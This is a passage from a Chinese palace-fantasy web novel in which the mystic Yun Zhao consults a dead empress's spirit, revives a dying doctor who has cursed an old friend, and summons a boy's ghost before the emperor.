皇帝准了贵妃所请,又对柔妃温言道:“爱妃也去偏殿稍歇吧,此地之事,朕自有分寸。”
待二妃在宫人簇拥下离去,大殿之内气氛愈发凝重。
不多时,四名内侍恭敬地捧着一座覆着明黄绸缎的牌位步入殿中,那牌位以紫檀木制成,色泽沉黯,上面以金粉书写着元懿皇后的尊号。
云昭亲自上前,协助内侍设下香案,奉上清香素烛,将那尊紫檀牌位端正地安置于香案正中。
明黄绸缎揭开的那一刻,仿佛有无形的目光自那牌位上扫过,令在场除云昭外的所有人,包括皇帝与萧启,都不自觉地屏住了呼吸。
云昭净手焚香,指尖在净水碗中轻点,随即玉腕一扬,晶莹水珠被精准地弹向四方,口中念念有词,音调古老而奇异。
说来也怪,就在她念动咒诀的刹那,殿内原本稳定的烛火无风自动,开始明明灭灭地剧烈摇曳起来。
光影交错,将众人的影子拉长、扭曲,投映在冰冷的金砖墙壁上,张牙舞爪。
一股难以言喻的森冷气息,伴随着淡淡的檀香与陈旧木料的味道悄然弥漫,钻入每个人的毛孔,令人汗**倒竖。
萧启紧抿着唇,立于香案前,俊美的脸庞在跳跃的烛光下显得格外苍白。
他目光复杂地凝视着母亲的牌位,垂在身侧的手不自觉地握紧,指节泛白。
云昭手持檀木筊杯,于袅袅青烟之上缓缓绕过三圈,目光沉静地看向萧启,随即转向那尊肃穆的牌位,朗声问道:
“元懿皇后在上,姜氏云昭,敬问皇后:您可反对萧启与云昭之婚约?
若反对,认为云昭会害您的孩儿,请示阴杯(两杯皆覆);若赞同,认可云昭为儿媳,请示圣杯(一正一反)。”
语毕,她将手中筊杯高高抛起。
两片半月形的檀木杯在空中划过弧线,叮当作响,落于铺着锦缎的地面,翻滚、弹跳、旋转……数圈之后,终于,静静地停住。
殿内所有人的目光,瞬间聚焦于那决定命运的两片木杯之上——
那两片筊杯,赫然呈现一正一反,正是象征神明认可、天意允准、吉祥无比的——
圣杯!
第140章 太后发癫
玉衡**当即脱口而出:“此乃巧合,做不得准!掷杯问卜本就简单,极易受外物干扰……”
话音未落,供桌上元懿皇后的牌位突然无风自动,"啪"的一声,重重倒在桌上!
那声响在寂静的殿内格外刺耳。
玉衡**眸光一厉,死死盯住牌位。
萧启则快步上前,小心翼翼地将牌位扶正。
他指尖微颤,眸光纠缠着难以言说的复杂情绪,嘴唇轻轻嚅动,仿佛有千言万语堵在喉间,却终究不敢轻易宣之于口。
主位之上,皇帝蓦地站了起来,快步朝云昭走来,步履间带着几分罕见的急切。
太后也面露惊惧之色,目光下意识地朝玉衡**瞥去,带着询问与不安。
“朕……可以问个问题吗?”皇帝的声音低沉,这话明显不是朝着云昭,而是朝着那供奉的牌位。
谁知他话音刚落,那刚刚被扶正的牌位竟又“嘭”的一声倒在桌上!
云昭心底微诧,但还是如实禀告:“回陛下,元懿皇后……已经走了。”
皇帝眸色幽深如潭,沉声道:“再请!”
云昭侧眸看向一旁面色难看的玉衡**,唇角勾起一抹若有似无的弧度:“方才臣女已耗费不少心力,这一次,就请玉衡**亲自施法吧。”
请灵之术并非难事,玉衡**自然是会的。
他整了整道袍,上前接过檀木筊杯,口中念念有词,指诀变换间,周身那乳白色灵气再次涌动。
然而这一次,任凭他如何施为,那对筊杯落地后却始终乱转不停,久久不能安定,更谈不上什么圣杯阴杯。
皇帝的脸色顿时难看极了。
玉衡**额角渗出细汗:“陛下,一般请灵,也会让地魂感到疲惫。或许先皇后是初次被请,尚未适应,故而……”
“你怎么说?”皇帝转向云昭,目光锐利。
云昭从容答道:“请不来地魂,不外乎几种情况。一则,是玄师功夫不到家,未能通达幽冥。二则,是地魂已不在地府,譬如魂飞魄散,自然无法请召。三则,便是地魂因故生气,提前离开了。”
皇帝眸色沉凝,好一会儿没说话。
上首处的太后却在这时悄悄松了口气,紧绷的肩膀微微放松。
皇帝看向云昭,语气缓和了许多:“你与渊儿既然两情相悦,朕也不做那棒打鸳鸯的恶人。这门婚事,朕准了。”
云昭迎着皇帝审视的目光,心中微哂。
她早已看穿,皇帝方才故意一言不发,并非真的想要毁坏婚约,而是想借玉衡道长之事再次试探她的真本事。
至于眼下这句承诺,也无非是看中了她能够沟通幽冥的价值罢了。
但她并不在意。
这世间人与人之间,本就是相互利用。
怕的不是成为别人的垫脚石,而是没有能力在被人利用的同时,也将对方化为己用的阶梯。
玉衡**见状,拂尘一摆:“陛下身边既有姜小姐这样的得力之人,贫道也就放心了。”他目光越过皇帝,若有深意地瞥向太后,“他日若有用得着贫道的地方,去京郊玄都观寻贫道便是。”
玄都观?云昭暗暗记下。
此时的玉衡**尚且不知,算计得罪云昭的下场,远比他想象的要残酷可怕一百倍!
眼见玉衡**转身离去,太后竟也起身欲随。
皇帝见状,淡淡道:“双喜,替朕送一送玉衡**。”
又对太后道,“母后,今日之事,往后就不要再提了。贵妃和柔妃都在偏殿,母后去陪陪她们吧。常玉,你陪着太后。”
云昭看得分明,皇帝这是明摆着不让太后与玉衡**有更多接触。
或者说,皇帝是不想太后与任何玄师有过密的往来。
太后虽然满脸不甘,但当着云昭和秦王的面,无法发作,只得阴着脸在常公公的陪同下往偏殿去了。
待太后离去,云昭方正色道:“陛下,臣有要事禀报,事关竹山书院与巫蛊之术。”
她语气郑重,“苏山长和赵大人带着关键人证候在宫门外,事关重大,还请陛下宣他们进殿详禀。”
皇帝已当着满朝文武的面宣布,十日后的文昌大典就在竹山书院举行,借此烧热苏家这口冷了多年的灶。
闻言,他眸光一厉:“宣。”
*
不多时,赵悉携刘大夫、苏文正、苏惊墨、孙婆子等人鱼贯而入,跪拜在甘露殿光可鉴人的金砖之上。
云昭即刻上前,取出随身金针,命内**气息奄奄的刘大夫扶坐起来,指尖轻拂过其头顶百会穴,柔声道:“老先生,得罪了。”
话音未落,三寸金针已精准刺入穴位,针尾微微颤动。
她又接连在刘大夫的膻中、气海等要穴施针,手法如行云流水。金针过处,刘大夫灰败的面色竟泛起一丝异样的潮红。
“刘大夫油尽灯枯,性命就在今朝。”云昭转向众人,快声道,“为查清竹山书院恩怨,我以金针激发他体内最后一点元气,盼他能亲口说出真相。”
在云昭凝神施针的空当,赵悉已将昨日发生之事,原原本本、条理清晰地禀报给皇帝。
随着最后一道真气渡入,刘大夫喉中发出一声悠长的呻吟,浑浊的双眼缓缓睁开。
他一眼看到站在面前的苏文正,眼中瞬间爆发出刻骨的恨意,两行浑浊老泪潸然而下:“老天不长眼啊!居然让你这等**子苟活于世!”
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“刘兄!”苏文正面露痛色:“你我相识数十载,纵有仇怨,何不当着陛下的面,说个清楚明白?”
云昭收针,在一旁劝道:“刘大夫,陛下圣驾在此,你若有冤屈不平,尽管从实道来!莫要让真相与你一同埋入黄土!”
刘大夫仿佛被这句话击中了心扉,他剧烈地喘息着,道出那段往事:
“我那孙儿名唤承安,小字安哥儿。他爹娘去得早,老夫行医济世,却因一场瘟疫与他失散在逃难的路上,自此天涯漂泊,苦苦寻觅……
直到去年春分那日,我在书院为学子们义诊时,一个名叫周彦的学子挽起裤腿让我诊治跌伤。
就在他右腿膝盖上方,我清清楚楚地看见了一个月牙形的青色胎记——
那胎记,与我孙儿安哥儿的一模一样!我绝不会认错!
老人的眼中迸发出惊人的光彩:“安哥儿他品性纯良,敏而好学,是书院里有名的才子。
苏文正,你可还记得,你曾亲口夸他‘文思清俊,有古仁人之风’,还将他所作的《秋水赋》亲自点评,列为书院范文!
他敬你如父,每每提到你,都感念你的知遇之恩!”
刘大夫的声音哽咽,“去年春日,书院因经费短缺,将西侧的兰芷院租借给世家子弟们举办‘清谈雅集’。
那日宾客云集,车马盈门。可就在这热闹过后,安哥儿便被人发现倒在书院后山的寒潭边,气息全无!
官府来查,只说是失足落水,意外溺亡……”
“可我不信!安哥必定是被害死的!”
他猛地看向苏文正,目眦欲裂:“事发之后,是你,苏文正!是你亲自出面安抚了那些权贵子弟!是你下令书院上下对此事三缄其口!
是你……为了保全书院名声,巴结权贵,将我孙儿的冤屈强行压下,让他死得不明不白!”
“我苦苦寻了他十二年啊……十二年风餐露宿,十二年望眼欲穿!好不容易祖孙即将相认,却只得回一具冰冷的尸身!
苏文正,你告诉我!是不是那日与安哥儿争执的,是某位你得罪不起的显贵子弟?你是不是为了你的前程,你的书院,就拿我孙儿的命去填了?你说话啊!”
刘大夫说到最后,已是老泪纵横,声嘶力竭,那悲愤的控诉在空旷的大殿中久久回荡,令人闻之心碎。
就在这时,常公公急促的脚步声打破了凝重的气氛。
他快步闯进殿内,脸上透着罕见的慌乱:
“陛下!太后娘娘她……她不知何故突然神智大乱,在偏殿内又哭又笑,状若癫狂!几个宫女都按不住!”
他焦急地看向云昭,“姜司主,您快跟杂家去看看吧!”
第141章 剥了姜世安的官服!
京兆府,大牢。
阴湿的甬道里,壁上油灯昏黄,跳跃的火苗将一道拖沓行走的身影投在斑驳石墙上。
那是一名狱卒,身形异常僵硬,步履蹒跚,仿佛每一步都牵扯着无形的丝线。
他的眼神空洞,目光直直地望向女监深处,腰间那串钥匙随着他的步伐发出沉闷的撞击声。
到了最里间狭小的牢房前,他停下脚步,动作迟滞地打开递饭食的小门,朝里面推入一只精巧的食盒。
“梅氏。”那狱卒喊了一声,声音干涩而僵硬,毫无起伏,“你家里人送进来的。”
蜷缩在角落草堆里的梅柔卿闻声,如同受惊的兔子般猛地抬头,快步奔到门边,几乎是抢夺般接过了食盒。
打开一看,里面是一碗还冒着热气的素面——
清汤白面上点缀着几粒鲜红的枸杞子,几片嫩绿的葱花浮在汤面,底下还沉着些切得细细的香菇丝,正是她女儿姜绾心最拿手的调味方式。
她眼底瞬间蕴起热泪。
她的心儿,自小娇生惯养,十指不沾阳春水,从不下厨。
唯一肯动手的,便是每年她生辰当天,会在厨娘做好面条后,亲自放入枸杞、葱花和香菇丝调味,说是这样能祈福增寿。
她颤抖着手,翻遍食盒,却没再见到任何字条或其他东西。
她心中虽疑惑,但还是趁热将素面一口接一口地吃完了。
面条热汤滚过喉咙,带来一阵火烧火燎的剧痛。
她此刻囚服污浊,披头散发,哪里还有半分昔日尚书府如夫人的体面?
咽下的每一口饭食,都像是在吞咽砂石,折磨着她的喉管——
这都是那日姜云昭强逼她吐露薛九针隐秘的后果!
当时她情急之下脱口说出“府君”二字,体内潜藏的绝言咒瞬间发作,醒来后,她便再也发不出任何声音,成了一个哑巴。
想起薛九针那次酒后失言,提及“府君”时那副讳莫如深的神情,梅柔卿不禁打了个寒战。
薛九针在她眼中已是手眼通天的人物,能制作各种**于无形的符咒,还能炼制“蜃楼蝉翼”那般阴邪诡异的法宝……
可连他都对那“府君”三缄其口,甚至忍不住目露恐惧,那位隐藏在幕后的“府君”,又会是何等可怕的存在?
体内的绝言咒,她甚至不知是薛九针何时布下的,还是说……根本就是那位府君的手笔?
每一个对外人道出“府君”二字的人,难道都难逃一死?
“吃完了就快将碗拿来。”门外,那狱卒冰冷僵冷的声音再次响起。
梅柔卿恋恋不舍地将空碗递出,指尖贪恋着碗壁残余的温暖。她下意识地开口:“敢问何时……”
那狱卒压根没搭理她,“哐当”一声锁**小窗,脚步声僵硬地远去。
梅柔卿却猛地捂住了自己的喉咙,眼中充满了难以置信的惊愕。她再次尝试,从喉间挤出一个破碎的音节:“啊……”
她、她能说话了?!
巨大的欣喜瞬时涌上心头!
可随即,更深的忧虑便如阴云般笼罩下来——
这素面汤,分明是心儿送来的,绝不会错。
可她那不通玄术的女儿,怎会有办法解开这连薛九针都讳莫如深的绝言咒?
梅柔卿脑海中不由浮起昨夜在京兆府,姜绾心提起太子时,那满眼的娇羞与全心的信赖……
梅柔卿浑身猛地一抖,一股寒意从脚底直窜头顶。
是太子!是太子身边那个来历不明的玉衡道长?!
她忍不住嘶哑地低吼出声:“不!不能!我的女儿……你不能掺和进去啊!”
她是罪臣之女,当年在边城,若不是靠上了同在边城的薛九针,为他做了许多见不得光的脏事儿——
下咒、布局、甚至害人性命,根本不可能一步步撑到回京!
就连姜世安后来送来的一笔笔白银,也是因为她依照薛九针的指示,在寄往京城的包裹里,塞入了一些附着邪术的“小玩意”,并在信中详细指点他该如何“使用”。
姜世安对她念念不忘,贪恋她青春美貌是其一,更深层的,是倚重她那些神不知鬼不觉的“本事”。
他虽不知具体缘由,却很清楚,靠着她在背后的“筹谋”,他在经手的几桩关键事务中,才能那般顺利地“解决”了碍眼的同僚,也“收获”了不少意外之财。
他不止一次喊她福星,还曾戏言,日后她生下的女儿必定是小福星。
可她当年那是走投无路!
但心儿不同!她有着礼部尚书嫡女的高贵身份,眼看着还有机会嫁入东宫,前途无量……
她怎么如此愚蠢,听信了太子的蛊惑,居然也踏入了这污秽不堪泥沼!
梅柔卿太清楚了,一旦与这等邪术牵扯过深,表面看似能借力风光,实则每一步都在透支性命与福报,最终恐难善终!
此事,必定是太子唆摆!利用她涉世未深的女儿!
“心儿,我的傻女儿!”她心如锥刺,嘶哑低唤。
可紧接着,一阵剧烈的天旋地向她袭来,眼前猛地一黑,耳边嗡嗡作响。
她感觉自己的神魂仿佛被一只无形大手狠狠攥住、撕扯,四肢百骸传来难以忍受的酸胀剧痛,喉头腥甜上涌。
她软软地瘫倒在地,身体不受控制地轻微抽搐,无意识地大哭大笑……
那情状,竟与偏殿中太后突发癫狂时的模样,有着诡异的相似。
……
头顶骄阳似火,浓密的树荫下,姜绾心站在树影下,焦灼地踱步。
眼见着太子身边的侍卫灵峰去而复返,她立刻迎上前,美眸中满是急切:“怎样?我娘她吃上东西了?”
灵峰面色一如既往的冷硬,点了点头:“安心,有玉衡道长在,必不会让她吃亏。”
姜绾心闻言,长长舒了一口气,悬着的心总算落回实处。
她脸上飞起一抹红霞,声音愈发娇柔:“那……太子殿下呢?我想当面谢过殿下……”
灵峰毫不客气地打断她的话:“殿下有令,命事情完成后,即刻送姜小姐回府。”
他语气森冷,带着警告,“太子殿下的行踪,乃东宫机密。莫说姜小姐如今尚未入主东宫,即便来日成了太子妃,亦不可窥探。
这是第一次,我不会禀告殿下知晓,望你好自为之。”
姜绾心脸色一白。
她强压下心头不悦,垂下眼睫,摆出温顺姿态,娇声道:“是,绾心知道了。必不会让灵峰侍卫为难。”
她乖巧地转身,转身朝马车走去。
然而,就在背对灵峰的刹那,她脸上那副柔顺表情瞬间冰消瓦解,眼底翻涌起浓烈得化不开的怨毒与狠绝。
等她当上太子妃,手握权柄的那一天,第一个要弄死的,就是这个得蒙太子信任便目中无人的狗奴才!
*
甘露殿。
常公公话音落下,殿内霎时陷入一片诡异的沉寂,只闻烛火哔剥作响。
众人神色各异,暗流在每一道交换的眼风中涌动。
皇帝面露踟蹰,指尖无意识地摩挲着御座扶手上的蟠龙雕刻,目光最终下意识地投向云昭,带着一丝不易察觉的倚重。
云昭迎着他的视线,斩钉截铁道:“陛下,刘大夫性命已在旦夕,金针渡穴之力随时会消散!
若此刻离去,刘大夫孙儿枉死之冤,苏山长蒙受的不白之屈,就将随着这最后一口气湮灭,再也说不清了!”
就在这时,瘫软在地的刘大夫忽然发出一阵嘶哑癫狂的大笑,他挣扎着撑起上半身,浑浊的双目迸射出蚀骨的恨意,死死盯在苏文正身上:
“无妨!哈哈哈哈……不论真相到底是何,老夫都已做到了自己想做的!”
他枯瘦的手指如同鬼爪般指向苏文正,声音凄厉如夜枭,“断梁咒已下!咒根深种,绝嗣断脉!
苏文正,老夫在九泉之下,等着看你苏氏门庭衰败,香火断绝,等着看你晚年孤苦,痛不欲生的那一天!”
“放肆!”皇帝闻言,眸色骤然一沉,龙颜震怒:“刘邝,你身为医者,本当悬壶济世,竟对相识多年的故交下此阴毒诅咒!
当着朕的面,还敢口出恶言,诅咒朝廷命官**,你眼中可还有王法,可还有朕!”
刘大夫却浑然不惧,反而仰天大笑,笑声中充满了无尽的悲凉与绝望:“陛下!您可曾听闻,匹夫一怒,血溅五步!天子一怒,伏尸百万!
我刘邝一介布衣,无
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妻无子,如今连最后的血脉也断绝了!我一死,天地间再无任何牵挂!我还怕什么?”
他笑得癫狂,气息紊乱,猛地喷出一口暗红的鲜血,染红了身前的地砖,却仍强撑着对着皇帝嘶吼,
“就算陛下此刻将我凌迟处死,**万段,我也没什么可怕的了!哈哈哈哈!”
云昭见状,立刻俯身,指尖金针再次闪现,迅速刺入刘大夫几处大穴,稳住了他即将溃散的心神。
她声音清冷如冰,却带着穿透人心的力量,一字一句砸在刘邝心上:
“刘邝!你看清楚了!你此刻命如风中残烛,是我用金针为你强续这片刻光阴!
你口口声声为孙报仇,那我问你,你听信他人片面之词,不惜动用阴损的厌胜之术害人,究竟是为了发泄私愤图一时痛快,还是为了查明真相告慰孙儿在天之灵?!”
她目光如炬,步步紧逼:“你就不想知道,害死你孙儿承安的真凶究竟是谁?你就不想弄清楚,当日寒潭边究竟发生了什么?
你若真心疼爱你那苦命的孙儿,为何不去寻那当日与他争执的‘权贵子弟’复仇?
反而问都不问,不分青红皂白,就先对你相识多年、曾多次赞誉承安的老友下此毒手!
在你心里,那个曾夸承安‘有古仁人之风’的苏文正,当真就是那等沽名钓誉、草菅人命之徒吗?
你的恨,你的咒,当真是对准了仇人,还是被他人利用,成了戕害无辜的刀?!”
这一连串的质问,如同惊雷道道劈下,条理分明,层层推进,直指核心!
刘大夫闻言,癫狂的神色一滞,双眸中闪过强烈的挣扎与茫然。
久被仇恨蒙蔽的心神,竟在云昭这振聋发聩的质问中,逐渐撕裂开一道缝隙,透入一丝清明的光。
“陛下……”苏文正见状,正欲开口进一步解释,殿门外却骤然传来一道急促而尖锐的女声,打断了殿内凝重的气氛。
“陛下!母后情形实在不好了!呕血惊厥,胡言乱语,怎的姜云昭还不过去?!”
孟贵妃疾步闯入,甚至顾不上行礼,染着蔻丹的指尖直指云昭:
“姜云昭!本宫知道,你一直嫉妒绾心妹妹才貌双全,更看不惯母后对她诸多偏疼!
可如今是太后娘娘凤体攸关,生死一线!
你身为臣女,又颇通玄异之术,当真要因一己私怨,难道要见死不救吗?
你知不知道,你在此多磨蹭一刻,耽搁的就是太后娘娘的性命!
此等冷血行径,与刽子手何异?!”
她又猛地转向萧启,语带哽咽:“秦王殿下!太后娘娘到底是你的嫡亲祖母!自幼对你疼爱有加!
如今她危在旦夕,姜云昭却在此为一布衣强行拖延!
她冷漠至此,薄情寡义,你现在还看不透她的真面目吗?”
然而孟清妍不知道的是,包括云昭、萧启、皇帝在内的三人,昨夜已亲眼见识过太后的诡异之处。
但凡亲眼见到太后那般模样的人,心里都会明白,她今日突然发狂,恐怕正与昨日姜绾心进宫献药,脱不开干系!
哪怕在皇帝看来,也难免觉得,今日这一切,不过是太后咎由自取!
皇帝心里自是对姜绾心憋着一股滔**火!
但若贸然惩处,难免落人口实,引来前朝后宫非议!
而太后与姜绾心那些上不得台面的所作所为,实在禁不起旁人半分推敲议论!
皇帝平生最重天家颜面,自己也知这位母后近来的行径,实在令人不齿!
但他心里有气是一回事,任由天下人议论皇室丑闻又是另一回事。
此刻被孟贵妃这么一闹,再联想到太后癫狂的丑态根源,皇帝越想越气,胸中怒火翻腾,却偏偏无法将真相宣之于口,这股邪火总需有个宣泄之处!
他当即面色铁青,对常公公厉声道:“常玉!即刻去姜家传朕旨意!剥了姜世安的官服!革除其礼部尚书之职!”
紧接着,他又对侍立一旁的年轻太监双喜沉声吩咐:“速去请玉衡道长回来!
太后情形,着他仔细查明,速来回报!
记住,未有朕的明确旨意,万不可轻举妄动,更不得对外泄露半分!”
第142章 裴寂传信与苏氏
城东。
苏氏自碧云寺祈福归来,马车在街边一个拐角处停稳,便与严嬷嬷一同下了车。
准备往东市采买些新鲜槐叶、时令瓜果,好晚上为全家做一顿清爽可口的槐叶冷淘。
岂料刚走到街口,便听得几个路人聚在一处,议论纷纷,隐约听见“姜司主”、“押入宫中”等字眼。
她心头猛地一沉,也顾不得礼仪,疾步上前拉住一位提着菜篮、面相敦厚的大娘:“这位嫂子,劳驾问一声,你们方才说……姜司主被押入宫中,是什么意思?”
那大娘转过身,认出是姜司主的母亲苏氏,语气不由缓和了几分,压低声音道:“哎哟,是姜夫人啊!您还不知道吗?
晌午那会儿,宫里来了个面生的公公,瞧着傲气得很,下巴都快抬到天上去了!
对姜司主说话硬邦邦的,半点不客气,我们这些在旁边瞧着的,都觉得心里头咯噔一下,感觉……感觉不太妙啊!”
旁边一个卖炊饼的汉子也凑过来插话,愤愤道:“可不是嘛!姜司主想跟手下交代几句,那太监愣是不让,催命似的!哪有这样办事的?实在是气人!”
更有人压低声音道:“坊间都在传,说是姜司主为了给您出气,发作了姜大人身边那个得宠的梅姨娘,这才惹怒了宫里贵人!”
苏氏只觉眼前一黑,身子微晃,严嬷嬷连忙在旁扶住。
她深吸一口气,强自稳住心神,咬牙道:“我们回去!”
围观人群自发地为她分开一条道路。
苏氏停下脚步,转过身,目光扫过众人,声音清晰而坚定:
“诸位高邻,我女儿云昭行事,素来公正廉明,凡事皆有章法,遵循的是朝廷律例,守护的是百姓安宁!
她绝非旁人口中徇私枉法、因私废公之徒!
陛下圣明烛照,必会查明原委,还我儿一个清白!”
说完,她在严嬷嬷的搀扶下重新登上马车,连声催促车夫快行。
马车驶出不过两条街巷,车壁外忽然传来几声极有节奏的轻轻敲打。
苏氏心中一紧,警惕地掀开车帘一角,却在看清来人面容时不由一怔。
那是个眼生的年轻后生,身着轻便戎装,风尘仆仆。
那军士对她抱拳一礼,姿态恭敬却不失军中气度:“夫人安好。末将奉裴帅之命,将此信交与夫人。”
说罢,迅速将一个蜡封的小竹筒递入车内。
苏氏接过,指尖微颤地打开,里面是一方素笺,上面只有寥寥数语,笔力却苍劲熟悉:
「文昌盛典,龙蛇混杂,苏家旧事,恐被人察。万望谨慎,务必珍重。」
短短一行字,却让她心头巨震,仿佛被无形的手紧紧攥住。
她猛地再次掀开车帘向外望去,却只见那年轻军士的身影已迅速消失在熙攘的人流中,只留下一个模糊而挺拔的背影。
苏氏紧抿着唇,将那张轻飘飘却重若千钧的信笺紧紧攥在手心,贴身收好。
她靠在车壁上,面上恢复平静,心中却已翻江倒海,再无言语。
……
甘露殿。
皇帝革职姜世安的旨意一下,云昭当即起身,声音清越:“陛下,不可……”
皇帝面露不悦,眉头蹙起:“姜云昭,朕已一再妥协,听从你的心意,将刘大夫与竹山书院一事,置于朕的母后安危之前处置。
你一个人分身乏术,本也无法同时兼顾两处。但你不去救治太后,总不能也不让旁人前去诊治。”
赵悉见状,连忙上前一步,拱手圆场道:“陛下息怒,姜司主绝非此意。臣看那玉衡道长想必已经出宫,此刻去追,远水难救近火。
臣倒觉得,有个更合适的人选,可以即刻为太后娘娘诊治!”
皇帝闻言,面色稍霁:“哦?是何人?”
赵悉从容道:“便是碧云寺的有悔大师。
今日臣入宫,将有悔大师一同请来了。只不过大师听闻今日面圣主要处理竹山书院之事,自觉不便打扰,未得陛下宣召,便一直在殿外静候。”
贵妃闻言,俏脸一沉,忍不住开口:“有悔大师固然精通岐黄之术,尤擅化解肌肤疮疤一类疑难杂症,但母后此番分明是……”
皇帝却似猛然想到了什么,抬手打断了她,直接对身旁的内侍吩咐道:“双喜,不必再去寻玉衡**了。”
又对常公公道,“常玉,你亲自去,速请有悔大师前往偏殿,为太后诊治。”
贵妃脸色一时变得极其难看,却又不敢再多言。
皇帝目光转向她,语气带着不容置疑的威严:“好了,贵妃,你怀着身子,不宜过多操劳忧心。多学学柔妃,安心回宫养胎才是正理。”
孟贵妃只得压下满心不甘,勉强行了一礼:“是,嫔妾……告退。”
云昭不再耽搁,转向气息微弱的刘大夫,沉声道:“刘邝,你方才口口声声,说你孙儿刘承安是在书院寒潭边枉死,怀疑是那些租用院落的权贵子弟所为。
口说无凭,不如,我此刻就帮你将那刘承安的魂魄招来,当着陛下与诸位的面,彻彻底底问个清楚明白,如何?”
刘邝闻言,浑浊的双眸骤然爆发出惊人的亮光:“你的
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意思是……老夫在死前,还能、还能再见我安哥儿一面?”
云昭目光深邃:“不止我可以。当日教你‘断梁咒’,引你恨上苏山长的那个人,想必也有能力做到。”
她不再多看刘大夫是何神情,命一旁的内侍速取一盆新打上来的井水,特意叮嘱:“要越凉越好,最好带着地底寒气。”
随即,云昭示意随行的莺时取来她的随身药箱,从中取出一个玉瓶,将几滴晶莹液体小心翼翼地为刘邝抹在双眼之上。
那液体散发着一股淡淡的腥气,正是能暂开阴阳眼的牛眼泪。
她肃立于那盆冰凉的井水前,指尖夹起一道符箓。
符纸无火自燃,化作一道青烟,袅袅投入水中。
云昭转而问清刘承安确切的生辰八字,以指蘸水,在金砖地面上迅速画下一个繁复的符文。
霎时间,殿内众人只觉一股莫名的阴风自地底钻出,盘旋而上,温度骤降!
只见一旁木案的果盘表面,以肉眼可见的速度凝结出一层薄薄的白霜;墙角高几上插着时令鲜花的花瓶里,水面竟发出了细微的“咔咔”结冰声!
上首处的皇帝瞳孔微缩,面上却并无半分惊慌失措,反而在确认了诸多无法作假的异象之后,以一种前所未有的深沉目光看向了施术的云昭。
“刘邝,看清楚!”云昭低喝一声。
刘邝激动得浑身颤抖,努力睁大被牛眼泪浸润的双眼,死死盯着那盆微微荡漾的井水上方。
然而看着看着,他脸上的激动和悲恸却渐渐凝固,转而化为几分困惑与难以置信。
他忽而用力揉了揉眼睛,凑得更近些仔细分辨,随即猛地转向云昭:“这……这不是我孙儿承安啊!身形、面容,都不是我的安哥儿!”
就在这时,一直沉默的苏文正突然急切地上前一步:“可否也让老夫一观?”
他不等云昭回应,便自行取过些许药液,急忙抹在双眼之上!
随即,他强忍着不适,睁大刺痛泛红的双眼,死死盯向那盆井水。
片刻之后,他看了云昭一眼,神情凝重的开口:刘大夫所言不虚。这水中隐约映出的魂影轮廓,确非学子周彦!”
赵悉一听,与萧启迅速交换了一个眼神,心里“咯噔”一声!
完了完了!
此前他在自家府邸亲眼见过云昭为孙婆子招来小莲魂魄,那场景虽然也诡异,但到底帮人家母女见了最后一面,结果总归是好的。
怎么这次当着圣上的面,居然出了如此大的纰漏?
这招来的,到底是个什么玩意儿?
第143章 愿与你再做一世亲人
众人纷纷朝云昭投去或担忧或质疑的目光,殿内一时寂静无声。
赵悉不自觉地屏住呼吸,萧启虽面色如常,垂在身侧的手却已悄然握紧。
唯有站在人群最后的苏惊墨眼底闪过一抹焦灼,他张了张嘴,正要开口——
“云昭,”龙椅上的皇帝已先一步发问,“这是何意?”
他微微前倾身子,眼底闪烁着强烈的好奇,“可否想个法子,让朕与诸位爱卿也看个分明?
这般只能眼看着刘大夫与苏卿二人对水凝望,我等却如同雾里看花,实在令人心痒难耐。”
萧启的目光落在云昭身上。他何尝不想亲见这玄奇景象?但一想到此举或许会耗费云昭过多心力,甚至可能令她陷入险境,到嘴边的话便又咽了回去。
云昭道:“陛下乃真龙天子,自有紫气护体。寻常鬼魂属至阴之物,若强行在陛下面前显形,非但难以维持,自身魂魄亦会受损。
除非是修炼有成的厉鬼或鬼将,方能承受龙气威压。”
皇帝闻言,脸上掠过一丝显而易见的失望。
他难得流露出这般近乎孩童般的好奇神态:“朕虽为天子,却也好奇这阴阳两隔的玄妙。若能亲眼见证,亲自断清这桩公案,岂不更好?”
这时,站在一旁的孙婆子悄悄拉了拉云昭的袖角,自莺时手中接过毛笔,飞快在自己掌心写下几个字,只让云昭一人看清。
云昭看后唇角微扬,对孙婆子温言道:“此计甚妙。这也算你履行的又一桩善事了。”
孙婆子受宠若惊地低下头,没料到自己的一个小小提议,竟又被云昭记作一桩功德。
云昭转向皇帝,朗声道:“回禀陛下,倒是有个法子,或可让大家都看个分明。”
她一边吩咐内侍前去准备所需之物,一边对仍在茫然的刘大夫说道:
“若你提供的生辰八字无误,眼前水中所映,确是你的亲孙刘承安无疑。”
“绝无可能!”刘邝激动得胡须颤抖,“我的孙儿是刘承安,也是竹山书院的周彦。但眼前这个,绝不是他!”
云昭转而看向苏文正:“敢问苏山长,书院可曾记录学子的生辰八字?”
苏文正点点头:“书院确有为每位学子记录生辰,每逢生辰之日,后厨都会特制一碗长寿面以示庆贺。”
他顿了顿,目光转向身后的少年,“陛下,臣的孙儿苏惊墨曾协助整理过这些文书,这孩子记忆尚可,或可求证。”
一直静立在后方的苏惊墨应声上前。
“回陛下。”苏惊墨朗声道,“小子冒失,方才听闻刘大夫所言生辰八字,就觉有异。那八字与周彦在书院登记的根本对不上!”
刘大夫勃然变色:“胡说!我私下问过周彦他的生辰......”
苏惊墨眉宇间闪过一丝讥诮:“刘大夫平日的心思,显然只放在你认为是孙儿的周彦身上,怕是从未曾留意书院同窗间的议论。周彦此人学问尚可,但品性……”
"你胡说!"刘大夫厉声打断。
云昭抬手,打断了刘大夫即将爆发的怒斥:“刘邝,你既说最疼这个孙儿,不妨问他几个只有你们才知的私密。虽然鬼语你听不懂,但我可代为转述。
左右我不可能知道你们祖孙之间的隐秘,你也不必担心我从中作伪。”
说话间,内侍已搬来一道半透明的云母屏风。
云昭指尖轻点,只见盆中井水泛起奇异波纹,一道模糊的影子缓缓投射在屏风之上。
众人屏息凝神,但见屏风上隐约显出一个十二三岁少年的身影。
那少年面色青白,身着粗布衣衫,但眉目清秀,眼神清澈,自有一股凛然正气。
赵悉摸着下巴仔细端详:“说实话,这孩子的眉眼轮廓,与刘大夫确有几分相似。你们看,他们都是一边双眼皮,一边单眼皮,眉骨这里的弧度也很像。”
萧启沉吟道:“魂体可能看见胎记?”
云昭这时用一种古怪的语调说了几句。
屏风上的少年闻声躬身,挽起裤管,右腿膝盖上方赫然露出一枚月牙形的青色胎记。
刘邝老眼圆睁:“这、这怎么可能?”
他怔愣片刻,突然急切地道:“姜司主,请你问他,可还记得家乡在何处?父母姓甚名谁?”
那少年的嘴唇在屏风上无声开合。
片刻后,云昭转述道:“他说,不记得父母姓名,也不知家乡何处。
